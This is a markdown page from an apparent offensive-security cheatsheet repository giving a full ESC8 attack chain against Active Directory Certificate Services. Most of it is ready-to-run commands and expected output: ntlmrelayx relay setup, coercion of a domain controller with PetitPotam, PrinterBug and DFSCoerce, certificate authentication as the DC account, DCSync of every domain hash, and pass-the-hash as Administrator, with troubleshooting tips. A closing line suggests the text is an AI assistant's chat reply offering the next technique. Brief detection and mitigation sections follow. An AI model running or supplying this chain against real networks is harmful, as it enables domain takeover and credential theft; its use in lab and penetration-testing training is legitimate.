daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR
git clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
Log | Files | Refs | README | LICENSE

esc8-ntlm-relay-to-adcs-http-web-enrollment.md (17805B)


      1 ---
      2 title: "ESC8 — NTLM Relay to ADCS HTTP Web Enrollment"
      3 description: "ESC8 is a network-level NTLM relay attack against the ADCS Web Enrollment HTTP interface. Every ESC attack up to this point required you to already have…"
      4 category: active-directory
      5 subcategory: "ADCS & Certificates"
      6 tags: ["active-directory", "adcs", "credential-access", "ntlm", "relay"]
      7 tools: ["Impacket", "Mimikatz", "Rubeus", "Certipy", "Evil-WinRM"]
      8 difficulty: advanced
      9 updated: "2026-08-10"
     10 source: "vault:ActiveDirectory/ACL-ESC-Techniques/ESC8 — NTLM Relay to ADCS HTTP Web Enrollment.md"
     11 ---
     12 # ESC8 — NTLM Relay to ADCS HTTP Web Enrollment
     13 
     14 ## What Is ESC8?
     15 
     16 ESC8 is a **network-level NTLM relay attack** against the ADCS Web Enrollment HTTP interface. Every ESC attack up to this point required you to already have domain credentials and be abusing template or CA misconfigurations. ESC8 is fundamentally different — you **intercept or coerce an authentication attempt from a privileged machine** (like a Domain Controller), relay those NTLM credentials to the CA's web enrollment endpoint, and trick the CA into issuing a certificate for that high-privilege machine account.
     17 
     18 The result: you get a certificate for `DC01$` (the DC's machine account). With that certificate you can retrieve the DC's NT hash via PKINIT, then perform a **DCSync** — full domain compromise without ever knowing a single password.
     19 
     20 This attack combines **three techniques** into one chain:
     21 1. **Coercion** — Force a privileged machine to authenticate to you
     22 2. **NTLM Relay** — Relay those credentials to the CA web enrollment endpoint
     23 3. **Certificate Abuse** — Use the issued cert to authenticate as the coerced machine
     24 
     25 ***
     26 
     27 ## Required Conditions
     28 
     29 | Condition | Where to Check |
     30 |-----------|----------------|
     31 | **Web Enrollment is enabled** on CA | CA output: `Web Enrollment: Enabled` |
     32 | HTTP (not HTTPS only) endpoint accessible | `http://<CA>/certsrv/` responds |
     33 | **Extended Protection for Authentication (EPA) disabled** | Default IIS config — not enabled by default  |
     34 | **Request Disposition: Issue** | CA output: `Request Disposition: Issue` |
     35 | At least one template allowing **Machine/Computer authentication** | `DomainController`, `Machine`, `Computer` templates |
     36 | NTLM not blocked on the network | SMB signing may be relevant for coercion path |
     37 
     38 ***
     39 
     40 ## Step 0 — Enumeration
     41 
     42 ```bash
     43 # Standard certipy scan
     44 certipy-ad find -u 'lowpriv@domain.htb' -p 'Password123!' \
     45   -dc-ip $TARGET -vulnerable -stdout
     46 
     47 # With hash
     48 certipy-ad find -u 'lowpriv@domain.htb' -hashes :NTHASH \
     49   -dc-ip $TARGET -vulnerable -stdout
     50 
     51 # Check if web enrollment HTTP endpoint is alive
     52 curl -k http://<CA-IP>/certsrv/
     53 # If it returns an IIS/Windows auth page = vulnerable
     54 ```
     55 
     56 ### What Vulnerable ESC8 Output Looks Like
     57 
     58 ```
     59 Certificate Authorities
     60   0
     61     CA Name                             : DOMAIN-CA
     62     DNS Name                            : DC01.domain.htb
     63     Web Enrollment
     64       HTTP
     65         Enabled                         : True          ← ⚠️ KEY FLAG
     66       HTTPS
     67         Enabled                         : False
     68     User Specified SAN                  : Disabled
     69     Request Disposition                 : Issue          ← No manual approval
     70     Enforce Encryption for Requests     : Disabled
     71 
     72     [!] Vulnerabilities
     73       ESC8 : Web Enrollment is enabled and Request Disposition is set to Issue
     74 ```
     75 
     76 > 💡 If you see `HTTP Enabled: False` and `HTTPS Enabled: False` (like your Fluffy box showed for `fluffy-DC01-CA`), then ESC8 is **not available** — the web enrollment endpoint is off. This is why Fluffy needed ESC16 instead.
     77 
     78 ***
     79 
     80 ## Understanding the Attack Topology
     81 
     82 Before running commands, understand what is happening on the network:
     83 
     84 ```
     85 [YOUR ATTACK BOX]          [DOMAIN CONTROLLER]         [CA / ADCS SERVER]
     86         │                          │                           │
     87         │  1. Set up relay         │                           │
     88         │  ntlmrelayx listening    │                           │
     89         │                          │                           │
     90         │  2. Coerce DC auth       │                           │
     91         │  PetitPotam/PrintSpooler │                           │
     92         │─────────────────────────►│                           │
     93         │                          │ NTLM Auth triggered       │
     94         │◄─────────────────────────│                           │
     95         │  3. Relay NTLM to CA     │                           │
     96         │─────────────────────────────────────────────────────►│
     97         │                          │       CA issues DC01$.pfx │
     98         │◄─────────────────────────────────────────────────────│
     99         │  4. Authenticate as DC01$                            │
    100         │  certipy auth -pfx dc01.pfx                          │
    101         │─────────────────────────►│                           │
    102         │  5. DCSync (dump all hashes)                         │
    103         │─────────────────────────►│                           │
    104 ```
    105 
    106 ***
    107 
    108 ## Full Attack Chain — Linux (Certipy + ntlmrelayx + PetitPotam)
    109 
    110 ### Step 1 — Set Up the NTLM Relay Listener
    111 
    112 Open **Terminal 1** — this stays running throughout:
    113 
    114 ```bash
    115 # Relay to the CA's web enrollment endpoint
    116 # -t = target (CA web enrollment URL)
    117 # --adcs = tells ntlmrelayx to request a certificate
    118 # --template = which template to request (DomainController for DC machine accounts)
    119 
    120 impacket-ntlmrelayx \
    121   -t http://<CA-IP>/certsrv/certfnsh.asp \
    122   -smb2support \
    123   --adcs \
    124   --template 'DomainController'
    125 
    126 # If the CA is on the same host as the DC:
    127 impacket-ntlmrelayx \
    128   -t http://DC01.domain.htb/certsrv/certfnsh.asp \
    129   -smb2support \
    130   --adcs \
    131   --template 'DomainController'
    132 ```
    133 
    134 > 💡 `--template DomainController` is specifically for coercing DCs. If you're targeting a regular machine account use `--template Machine`. If targeting a user account use `--template User`.
    135 
    136 ***
    137 
    138 ### Step 2 — Coerce Authentication from the Domain Controller
    139 
    140 Open **Terminal 2** — trigger the DC to authenticate to you.
    141 
    142 **Method A — PetitPotam (most reliable, CVE-2021-36942 / MS-EFSRPC):**
    143 ```bash
    144 # Unauthenticated version (pre-patch)
    145 python3 PetitPotam.py <YOUR-IP> <DC-IP>
    146 
    147 # Authenticated version (post-patch, still works if you have creds)
    148 python3 PetitPotam.py \
    149   -u 'lowpriv' \
    150   -p 'Password123!' \
    151   -d 'domain.htb' \
    152   <YOUR-IP> <DC-IP>
    153 ```
    154 
    155 **Method B — PrinterBug / SpoolSample (Print Spooler abuse):**
    156 ```bash
    157 python3 printerbug.py 'domain.htb/lowpriv:Password123!'@<DC-IP> <YOUR-IP>
    158 ```
    159 
    160 **Method C — DFSCoerce (MS-DFSNM):**
    161 ```bash
    162 python3 dfscoerce.py -u 'lowpriv' -p 'Password123!' -d 'domain.htb' <YOUR-IP> <DC-IP>
    163 ```
    164 
    165 **Method D — Certipy's built-in relay (newer versions):**
    166 ```bash
    167 # Certipy v5+ has integrated relay support
    168 certipy-ad relay -ca <CA-IP> -template DomainController
    169 # Then coerce separately with PetitPotam
    170 ```
    171 
    172 ***
    173 
    174 ### Step 3 — Collect the Certificate (Watch Terminal 1)
    175 
    176 After coercion, watch Terminal 1 (ntlmrelayx) output:
    177 
    178 ```
    179 [*] SMBD-Thread-4: Connection from DC01$@<DC-IP> controlled, attacking target http://<CA-IP>
    180 [*] HTTP server returned error code 200, treating as a successful login
    181 [*] Authenticating against http://<CA-IP> as DOMAIN/DC01$ SUCCEED
    182 [*] ADCS: Getting certificate...
    183 [*] ADCS: Got certificate with UPN 'DC01$@domain.htb'
    184 [*] ADCS: Saved certificate and private key to 'DC01$.pfx'  ← ⚠️ This is your weapon
    185 ```
    186 
    187 > 💡 The file will be named after the machine account — typically `DC01$.pfx`. The `$` suffix denotes a machine account.
    188 
    189 ***
    190 
    191 ### Step 4 — Authenticate as the DC Machine Account
    192 
    193 ```bash
    194 certipy-ad auth \
    195   -pfx 'DC01$.pfx' \
    196   -username 'DC01$' \
    197   -domain domain.htb \
    198   -dc-ip $TARGET
    199 ```
    200 
    201 **Expected output:**
    202 ```
    203 [*] Using principal: 'DC01$@domain.htb'
    204 [*] Trying to get TGT...
    205 [*] Got TGT
    206 [*] Saving credential cache to 'DC01$.ccache'
    207 [*] Trying to retrieve NT hash for 'DC01$'
    208 [*] Got hash for 'DC01$@domain.htb': aad3b435b51404eeaad3b435b51404ee:NTHASH
    209 ```
    210 
    211 ***
    212 
    213 ### Step 5 — DCSync (Dump All Domain Hashes)
    214 
    215 With the DC machine account's TGT or hash, you have **replication rights** — meaning you can perform a DCSync to pull every single hash in the domain:
    216 
    217 ```bash
    218 # Using the TGT
    219 export KRB5CCNAME='DC01$.ccache'
    220 secretsdump.py -k -no-pass DC01.domain.htb
    221 
    222 # Using the NT hash directly
    223 secretsdump.py \
    224   -hashes :NTHASH \
    225   'domain.htb/DC01$'@DC01.domain.htb
    226 
    227 # Output includes ALL domain hashes:
    228 # Administrator:500:aad3b435b51404eeaad3b435b51404ee:8da83a3...
    229 # krbtgt:502:aad3b435b51404eeaad3b435b51404ee:KRBTGT_HASH...
    230 # All user NT hashes...
    231 ```
    232 
    233 ***
    234 
    235 ### Step 6 — Pass-the-Hash as Administrator
    236 
    237 ```bash
    238 # With Administrator's NT hash from DCSync
    239 evil-winrm -i $TARGET -u administrator -H <ADMIN_NTHASH>
    240 wmiexec.py administrator@$TARGET -hashes :ADMIN_NTHASH
    241 psexec.py administrator@$TARGET -hashes :ADMIN_NTHASH
    242 ```
    243 
    244 ***
    245 
    246 ## Full Attack Chain — Windows (Rubeus + ntlmrelayx)
    247 
    248 ```powershell
    249 # This attack is primarily Linux-based due to tooling
    250 # On Windows, you would need:
    251 
    252 # Step 1: Use Inveigh for relay (PowerShell NTLM relay)
    253 Import-Module .\Inveigh.ps1
    254 Invoke-InveighRelay -ConsoleOutput Y -StatusOutput N -Target http://<CA-IP>/certsrv/certfnsh.asp
    255 
    256 # Step 2: Coerce via PrinterBug from Windows
    257 .\SpoolSample.exe <DC-IP> <YOUR-IP>
    258 
    259 # Step 3: Convert base64 cert from Inveigh output
    260 # Import and use with Rubeus
    261 .\Rubeus.exe asktgt /user:DC01$ /certificate:<base64cert> /getcredentials /nowrap
    262 
    263 # Step 4: DCSync
    264 .\Mimikatz.exe "lsadump::dcsync /domain:domain.local /all /csv" exit
    265 ```
    266 
    267 ***
    268 
    269 ## ESC8 Visual Attack Flow
    270 
    271 ```
    272 ┌─────────────────────────────────────────────────────────────────┐
    273 │  PREREQUISITE CHECK                                             │
    274 │  certipy find → Web Enrollment: Enabled + Disposition: Issue   │
    275 └─────────────────────────────────────────────────────────────────┘
    276                           │
    277          ┌────────────────▼────────────────┐
    278          │ Terminal 1: ntlmrelayx          │
    279          │ -t http://<CA>/certsrv/...      │
    280          │ --adcs --template DomainController│
    281          │ LISTENING...                    │
    282          └────────────────┬────────────────┘
    283                           │
    284          ┌────────────────▼────────────────┐
    285          │ Terminal 2: PetitPotam/coerce   │
    286          │ Force DC01$ → auth to YOUR-IP  │
    287          └────────────────┬────────────────┘
    288                           │
    289          ┌────────────────▼────────────────┐
    290          │ ntlmrelayx relays to CA HTTP    │
    291          │ CA issues DC01$.pfx             │
    292          └────────────────┬────────────────┘
    293                           │
    294          ┌────────────────▼────────────────┐
    295          │ certipy auth -pfx DC01$.pfx     │
    296          │ → TGT + NT hash for DC01$       │
    297          └────────────────┬────────────────┘
    298                           │
    299          ┌────────────────▼────────────────┐
    300          │ secretsdump DCSync              │
    301          │ → ALL domain hashes             │
    302          └────────────────┬────────────────┘
    303                           │
    304                     [DOMAIN OWNED]
    305 ```
    306 
    307 ***
    308 
    309 ## ESC8 vs All Previous ESCs
    310 
    311 | | ESC1–4 | ESC6–7 | **ESC8** |
    312 |---|---|---|---|
    313 | **Requires domain creds to start** | ✅ | ✅ | ⚠️ May not need (unauthenticated coercion) |
    314 | **Attack surface** | Certificate Templates | CA configuration | **Network / HTTP** |
    315 | **Key tool** | `certipy req` | `certipy ca` | **ntlmrelayx + PetitPotam** |
    316 | **What you steal** | Certificate for a user | Certificate for a user | **Certificate for a machine account** |
    317 | **Post-exploitation** | PTH / TGT | PTH / TGT | **DCSync → full domain** |
    318 | **Noisiness** | Medium | Medium | **High — network coercion is loud** |
    319 
    320 ***
    321 
    322 ## Troubleshooting Common Issues
    323 
    324 | Error | Cause | Fix |
    325 |-------|-------|-----|
    326 | `ntlmrelayx` gets connection but CA returns 401 | EPA enforced on IIS | Confirm with `curl -v http://<CA>/certsrv/` — if NTLM is listed but fails, EPA may be on |
    327 | PetitPotam fails | DC patched for unauthenticated EFS | Use authenticated version with `-u/-p`, or switch to PrinterBug/DFSCoerce |
    328 | Got cert but `certipy auth` fails | Template mismatch — got cert for wrong account type | Verify cert UPN with `certipy cert -pfx DC01$.pfx` |
    329 | `certsrv` URL not reachable | Web enrollment not on port 80 or CA is different host | Try HTTPS port 443, or confirm CA hostname from certipy find output |
    330 | Relay times out | DC coercion succeeded but DC can't reach your IP | Check firewall rules — DC must be able to reach YOUR-IP on TCP 445 and 80 |
    331 
    332 ***
    333 
    334 ## Detection Indicators
    335 
    336 - **Event ID 4768/4769** — Kerberos TGT requested for a machine account from an unusual source IP
    337 - **Event ID 4887** — Certificate issued for a machine account via web enrollment
    338 - **IIS logs on CA** — `POST /certsrv/certfnsh.asp` requests from IP addresses that are not the machine account's own IP — the relay source IP will differ from the machine account's actual IP
    339 - **Net logon anomalies** — A DC machine account authenticating to an unexpected host
    340 - **Sysmon Event ID 3** — Network connection from `lsass.exe` to an unusual target
    341 
    342 ***
    343 
    344 ## Mitigation
    345 
    346 - **Enforce HTTPS** on the Web Enrollment endpoint and disable HTTP entirely
    347 - **Enable Extended Protection for Authentication (EPA)** on IIS for the `certsrv` application — this binds NTLM auth to the TLS channel, breaking the relay
    348 - **Disable Web Enrollment** entirely if not needed — most orgs can use RPC-based enrollment instead
    349 - **Block NTLM** where possible — or enforce **SMB signing** on all machines to prevent coercion-based relay
    350 - **Patch CVE-2021-36942** — removes unauthenticated PetitPotam coercion
    351 - **Restrict which templates machine accounts can enroll in** via CA enrollment agent restrictions
    352 
    353 ***
    354 
    355 Ready for **ESC11** whenever you say go, Netrunner.
    356 
    357 Sources
    358  Enumerating Ad Cs And... https://www.linkedin.com/pulse/esc8-attack-exploiting-adcs-domain-dominance-krishnendu-de-ijaqc
    359  ADCS ESC8 – NTLM Relay to AD CS HTTP Endpoints https://www.hackingarticles.in/adcs-esc8-ntlm-relay-to-ad-cs-http-endpoints/
    360  ESC8 is a critical vulnerability in Active Directory Certificate Services https://anantis.io/esc8/
    361  ESC8 Attack Guide for Windows Environments - Sentry Blog https://blog.sentry.security/esc8-attack-guide-for-windows-environments-2/
    362  redblock_team-11.-ADCS-Attacks.pdf https://ppl-ai-file-upload.s3.amazonaws.com/web/direct-files/attachments/14624338/ba26726a-dc39-49bb-a7f4-de582faee79b/redblock_team-11.-ADCS-Attacks.pdf
    363  Active Directory Certificate Attack: ESC8 - ADCS https://www.rbtsec.com/blog/active-directory-certificate-attack-esc8-adcs-web-enrollment/
    364  Closing the ESC8 Vulnerability in Active Directory Certificate Services https://www.avertium.com/blog/escalation-8-how-to-close-a-commonly-exploited-active-directory-certificate-services-elevation-of-privilege-vulnerability
    365  Common ADCS Vulnerabilities: Logging, Exploitation ... - Lares Labs https://labs.lares.com/adcs-exploits-investigations-pt2/
    366  How Certificates became AD's Biggest Attack Surfaces https://silverbackcyber.io/2026/02/23/adc-active-directorys-biggest-attack-surfaces/
    367  AD CS Security: Understanding and Exploiting ESC Techniques https://www.vaadata.com/blog/ad-cs-security-understanding-and-exploiting-esc-techniques/
    368  Understanding Active Directory Certificate Services: A Focus on ... https://trustfoundry.net/2024/08/19/understanding-active-directory-certificate-services-a-focus-on-esc1-and-esc8/
    369  Abusing Active Directory Certificate Services (ADCS) | ESC8 Attack ... https://www.youtube.com/watch?v=pVezmVSCJGk
    370  ESC8 exploits misconfigured Active Directory Certificate Services ... https://www.linkedin.com/posts/hendryadrian_activedirectory-ntlmrelay-activity-7335272144282468352-XXnH
    371  ADCS ESC8 Tutorial | Attack Active Directory Certificate Services https://www.youtube.com/watch?v=QUTXge-9lRo
    372  Mitigating ESC1 and ESC8 Vulnerability in Active Directory https://www.encryptionconsulting.com/mitigating-esc1-and-esc8-vulnerability-in-active-directory/
    373  Exploiting Active Directory Certificate Services (ADCS) Using Only ... https://www.youtube.com/watch?v=FhJpfWZ6NQA
    374  Silver Ticket https://viperone.gitbook.io/pentest-everything/everything/everything-active-directory/adcs/esc8